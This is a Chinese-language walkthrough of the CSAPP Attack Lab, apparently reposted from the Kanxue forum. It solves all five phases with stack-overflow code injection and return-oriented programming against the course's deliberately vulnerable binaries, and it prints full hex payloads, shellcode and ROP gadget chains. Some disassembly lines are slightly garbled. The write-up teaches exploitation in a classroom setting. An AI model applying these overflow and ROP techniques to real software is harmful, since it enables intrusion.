《深入理解计算机系统》Attack Lab 题解

admin 2025年7月9日21:47:54评论0 views字数 8717阅读29分3秒阅读模式
阅读此篇题解需要有CSAPP第三章基础,对于基本汇编指令本文不做过多说明。尝试Lab前应先下载官方提供的Writeup【https://csapp.cs.cmu.edu/3e/attacklab.pdf】并在开始每一阶段前阅读相应内容,否则容易一头雾水。

注意,因为我们是在本地运行Lab,所以运行程序时要加上参数-q,告诉程序不上数据传到伺服器,否则无法运行。

Phase_1

文档给了test函数的C代码:

voidtest(){int val;    val = getbuf();printf("No exploit. Getbuf returned 0x%xn", val);}

还给了touch1函数的代码:

voidtouch1(){    vlevel = 1/* Part of validation protocol */printf("Touch1!: You called touch1()n");validate(1);exit(0);}

题目要求当getbuf返回时不返回到下一行的printf,而是跳转到touch1运行。

首先查看getbuf的反汇编代码:

00000000004017a8 <getbuf>:4017a8:48 83 ec 28          sub    $0x28,%rsp4017ac:48 89 e7             mov    %rsp,%rdi4017af:e8 8c 02 00 00       callq  401a40 <Gets>4017b4:b8 01 00 00 00       mov    $0x1,%eax4017b9:48 83 c4 28          add    $0x28,%rsp4017bd:c3                   retq   4017be:90                   nop4017bf:90                   nop

0x4017a8处指令开辟了大小0x28 = 40(字节)的栈空间,然后将栈顶作为参数(%rdi)传给Gets函数。

我们需要在输入时输入48字节的内容让栈溢出,使返回地址被覆盖为touch1的内存地址。

00000000004017c0 <touch1>:4017c0:48 83 ec 08          sub    $0x8,%rsp4017c4:c7 05 0e 2d 20 00 01 movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>4017cb:00 00 00 4017ce:bf c5 30 40 00       mov    $0x4030c5,%edi4017d3:e8 e8 f4 ff ff       callq  400cc0 <puts@plt>4017d8:bf 01 00 00 00       mov    $0x1,%edi4017dd:e8 ab 04 00 00       callq  401c8d <validate>4017e2:bf 00 00 00 00       mov    $0x0,%edi4017e7:e8 54 f6 ff ff       callq  400e40 <exit@plt>

查看代码我们可以发先touch1首行指令在地址0x4017c0处,这是我们想让代码从getbuf返回的地址。(注意,因为机器采小端序,在输入时应输入C0 17 40 00)

由此,我们可以构建出shellcode:

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00C0 17 40 00

我们将这段内容保存在档案phase_1中,然后使用lab提供的工具hex2raw将其转换成程序接受的string类型。

注意,运行ctarget前要加上-q,防止因为程序连接不上伺服器而报错。

./hex2raw < phase_1 | ./ctarget -q

《深入理解计算机系统》Attack Lab 题解

Phase_2

查看文档,发现给出的touch2函数要求传入一个无符号数,并检查该输入是否与cookie相等。

voidtouch2(unsigned val) {    vlevel = 2;if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2);    }else {printf("Misfire: You called touch2(0.x%8x)n", val);fail(2);    }exit(0);}
00000000004017ec <touch2>:4017ec:48 83 ec 08          sub    $0x8,%rsp4017f0:89 fa                mov    %edi,%edx4017f2:c7 05 e0 2c 20 00 02 movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>4017f9:00 00 00 4017fc:3b 3d e2 2c 20 00    cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>401802:75 20                jne    401824 <touch2+0x38>401804:be e8 30 40 00       mov    $0x4030e8,%esi401809:bf 01 00 00 00       mov    $0x1,%edi40180e:b8 00 00 00 00       mov    $0x0,%eax401813:e8 d8 f5 ff ff       callq  400df0 <__printf_chk@plt>401818:bf 02 00 00 00       mov    $0x2,%edi40181d:e8 6b 04 00 00       callq  401c8d <validate>401822:eb 1e                jmp    401842 <touch2+0x56>401824:be 10 31 40 00       mov    $0x403110,%esi401829:bf 01 00 00 00       mov    $0x1,%edi40182e:b8 00 00 00 00       mov    $0x0,%eax401833:e8 b8 f5 ff ff       callq  400df0 <__printf_chk@plt>401838:bf 02 00 00 00       mov    $0x2,%edi40183d:e8 0d 05 00 00       callq  401d4f <fail>401842:bf 00 00 00 00       mov    $0x0,%edi401847:e8 f4 f5 ff ff       callq  400e40 <exit@plt>

首先查看代码可以知道touch2函数开头地址为0x4017ec。在Lab文件夹内有一个文件叫cookie.txt,里面存放着我们需要的cookie值。

《深入理解计算机系统》Attack Lab 题解

因为我们要将cookie值传给touch2,回想CSAPP第三章内容可以知道,函数的第一个参数存放在%rdi中。所以我们需要执行以下代码:

movq $0x59b997fa, %rdi

然后我们要调用touch2函数,即0x4017ec地址处。这里我们不使用calljmp而使用ret,因为偏移不好计算。注意,ret指令会跳转到栈顶保存的地址,并将该地址出栈(pop)。

pushq $0x4017ecret

将三行汇编代码结合在一起,就成功达成调用函数的功能了。我们将这段代码保存在phase_2_asm.s中,然后使用指令:

gcc -c phase_2_asm.sobjdump -d phase_2_asm > phase_2_asm.asm

打开phase_2_asm.asm,可以发现对应的机器代码。

phase_2_asm.o:file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0:48 c7 c7 fa 97 b9 59 mov    $0x59b997fa,%rdi7:68 ec 17 40 00       pushq  $0x4017ecc:c3                   retq   

即:

48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3 

有这些还不够,因为这些数据在输入后会被储存在栈中,所以会被视为数据而非代码的一部份。所以我们利用栈溢出将栈中原本的储存地址覆盖成栈顶(用户输入数据的存储起始点)的位置,即可让该段代码被值行。(即将%rip设置为%rsp)

通过gdb查看,我们可以发现用户输入数据的存储起始点在0x5561dc78处。

《深入理解计算机系统》Attack Lab 题解

利用0填充空间后,我们可以构建出shellcode并将其保存在phase_2中:

48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0078 dc 61 55

利用以下代码验证其正确性:

./hex2raw < phase_2 | ./ctarget -q

《深入理解计算机系统》Attack Lab 题解

Phase_3

查看文档,发现这题需要给hexmatch函数传入一个等于cookie的字符串,其中字符串应传入首字符的地址(char *)。

inthexmatch(unsigned val, char *sval) {char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;}
voidtouch3(char *sval) {    vlevel = 3;if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3("%s")n", sval);validate(3);    }else {printf("Misfire: You called touch3("%s")n", sval);fail(3);    }exit(0);}

首先查看touch3的地址:0x4018facookie的值在phase_2就找到过了:0x59b997fa。文档中说明传入的cookie字符串不应包含前缀的0x,所以实际要传入的字符串应为:59b997fa

注意,通过查看文档,我们可以发现一句话:"When functionshexmatchandstrncmpare called, they push data onto the stack, overwriting portions of memory that held the buffer used bygetbuf. As a result, you will need to be careful where you place the string representation of your cookie. "。即当hexmatchstrncmp被调用时会将数据入栈,可能会覆盖getbuf的部分内容,需要小心选择字符串储存地址。

意即避免将字符串存放在getbuf的栈帧内,故此我们选择将其存放在test的栈帧内。

《深入理解计算机系统》Attack Lab 题解

查看test的栈底:0x5561dca8

参考phase_2我们可以编写出以下汇编代码,并将其转换为机器代码:

0000000000000000 <.text>:0:48 c7 c7 a8 dc 61 55 mov    $0x5561dca8,%rdi7:68 fa 18 40 00       pushq  $0x4018fa    c:c3                   retq  

到目前为止,我们可以写出以下与phase_2雷同的shellcode:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 78 dc 61 55

由于我们的字符串应储存在0x5561dca8,而储存我们输入的首地址在0x5561dc78,所以我们应该给输入的最后一行填充0并在下一行处填入cookie字符串。

回想字符串如何储存:利用ASCII表示字符。

cookie转换为ASCII码后为:35 39 62 39 39 37 66 61

至此,我们的shellcode就构建出来了:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 0035 39 62 39 39 37 66 61

创建文件phase_3并将shellcode存放在该的文件中,测试:

《深入理解计算机系统》Attack Lab 题解

Return-Oriented Programming 概念补充

下个阶段不能使用前三个阶段的代码注入(Code Injection)技术,因为:

◆使用地址随机化技术,导致每次运行时栈的地址都不同,使得难以定位注入的代码。

◆将栈的内存设置为不可执行,所以就算可以将PC设置为注入代码的地址,程序也会返回segmentation fault。

故,下两阶段会用到ROP知识(Return-Oriented Programming)。

ROP使用的概念是找出程序中的特殊几个字节,即我们想要执行的代码与ret,我们称这种片段gadget(ret指令用来跳转到下一个gadget)。

《深入理解计算机系统》Attack Lab 题解

上图说明了如何在栈中设置并执行一连串的gadget,其中0xc3表示指令ret。当每个gadget运行到ret时,会从栈顶取出下一个gadget的地址并执行,使得整个gadget链被完整执行。

用以下例子举例:

voidsetval_210 (unsigned *p) {    *p = 3347663060U;}
0000000000400f15 <setval_210>:400f15:       c7 07 d4 48 89 c7    movl  $0xc78948d4, (%rdi)400f1b:       c3                   retq

字节序列48 89 c7就可以组成指令movq %rax, %rdi,并且这个序列最后还跟随了一个c3,也就是ret。我们的目标序列在地址0x400f18处,所以如果直接跳转到0x400f18处就可以执行我们想要执行的指令。

Phase_4

此题与phase_2雷同,只是开启了保护。因为无法在栈上执行代码,所以我们使用ROP。

在此我们想使用gadget实现以下功能:

movq $0x59b997fa, %rdipushq $0x4017ecret

但是显然gadget中不会包含我们需要的立即数(如:0x59b997fa)。换个思路,我们可以将数据存放在栈中,然后使用popq取得数值。搜寻popq %rdi对应的机器代码5f,发现无法在有效区内找到。我们换个思路,可以尝试用一个中转寄存器储存这个值:

gadget1: popq %raxretgadget2: mov %rax, %rdiret

《深入理解计算机系统》Attack Lab 题解

查看上图可发现,对应机器代码为:58 c348 89 c7 c3。通过搜索我们可以找到以下两个函数:

00000000004019ca <getval_280>:4019ca:b8 29 58 90 c3       mov    $0xc3905829,%eax4019cf:c3                   retq  
00000000004019a0 <addval_273>:4019a0:887 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax4019a6:c3                   retq 

通过在0x4019cc截断第一个函数可以构成gadget1(90nop,即no operation),在0x4019a2截断第二个函数可以构成gadget2

理想状态下,我们期望栈的状态如下:

---- Stack -----------------full of zero | getbuf的栈帧-------------gadget1      | test的栈帧 (getbuf的返回地址)cookie       |gadget2      |touch2       |----------------------------

getbuf执行ret后,会跳转到gadget1并将其地址出栈。

这时gadget1中的pop就会将cookie值从栈顶取出,然后跳转到gadget2继续执行。

故此,我们可以构建出以下shellcode,并保存在phase_4中:

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00cc 19 40 00 00 00 00 00fa 97 b9 59 00 00 00 00a2 19 40 00 00 00 00 00ec 17 40 00 00 00 00 00

验证正确性:

《深入理解计算机系统》Attack Lab 题解

Phase_5

终于到这个阶段了,可以先休息一波。官方文档还温馨提示我们:已经得到了95/100的分数,这是一个很棒的分数了。如果大家有甚么其他更重要的事情可以先放下这个lab去做啦!因为这个阶段只占可怜的5分,不值得我们耗费这么多时间去解答它,除非我们将它视为额外的挑战任务,想要超越这门课程对普通学生的期待程度。

既然如此,各位看官若是手头上有其他事情要做,就可以关闭这份题解啦!否则,我们还有路要走喔。

因为地址随机,所以想要获取字符串的储存地址应该使用%rsp + <bias>的形式取得。

我们想要实现以下功能:

mov %rsp, %raxadd $bias, %raxmov %rax, %rdicall touch3

但是寻找后发现没有add的机器码,我们可以使用另一个函数代替。

00000000004019d6 <add_xy>:4019d6:48 804 37          lea    (%rdi,%rsi,1),%rax4019da:c3                   retq 

因为某些mov指令的源或目标寄存器的机器码不存在程序中,所以我们需要通过一些过渡寄存器来传递这些值。相信各位在经历phase 4后,已经可以独立寻找到相应的机器码地址。此处便不再重述,直接给出栈的样子 (省略各gadget的ret指令)。

---- Stack ------------------------------------------------full of zero                                | getbuf的栈帧--------------------------------------------   mov %rsp, %rax: 0x401a06                    | test的栈帧 (getbuf的返回地址)mov %rax, %rdi: 0x4019a2                    |pop %rax: 0x4019cc                          |bias: 8 * 9 = 72 (0x48)                     |mov %eax, %edx: 0x4019dd                    |mov %edx, %ecx: 0x401a70                    |mov %ecx, %esi: 0x401a27                    |lea (%rdi, %rsi, 1), %rax: 0x4019d6         |mov %rax, %rdi: 0x4019a2                    |Address of touch3: 0x4018fa                 |ASCII of cookie: 35 39 62 39 39 37 66 61 00 |-----------------------------------------------------------

注意此处偏移量的计算:执行mov %rsp, %rax时,%rsp其实正指向存放mov %rax, %rdi的栈内存。回忆ret指令相等于以下两条指令pop %rsp+jmp %rsp,所以执行第一个gadget时,%rsp正指向第二个gadget的内存地址。从第二个gadget算起,到cookie字符串储存的地址,中间隔了9个8字节的大小,所以偏移量为8×9=72(0x48)8 times 9 = 72 (0x48)

以上,可以构建出shellcode:

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0006 1a 40 00 00 00 00 00a2 19 40 00 00 00 00 00cc 19 40 00 00 00 00 0048 00 00 00 00 00 00 00dd 19 40 00 00 00 00 0070 1a 40 00 00 00 00 0027 1a 40 00 00 00 00 00d6 19 40 00 00 00 00 00a2 19 40 00 00 00 00 00fa 18 40 00 00 00 00 0035 39 62 39 39 37 66 61

验证正确性:

《深入理解计算机系统》Attack Lab 题解

至此,五个阶段全部完结。

《深入理解计算机系统》Attack Lab 题解
看雪ID:asciibase64

https://bbs.kanxue.com/user-home-994663.htm

*本文为看雪论坛优秀文章,由 asciibase64原创,转载请注明来自看雪社区
《深入理解计算机系统》Attack Lab 题解
议题征集中!看雪·第九届安全开发者峰会
#

原文始发于微信公众号(看雪学苑):《深入理解计算机系统》Attack Lab 题解

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日21:47:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《深入理解计算机系统》Attack Lab 题解https://cn-sec.com/archives/4237274.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息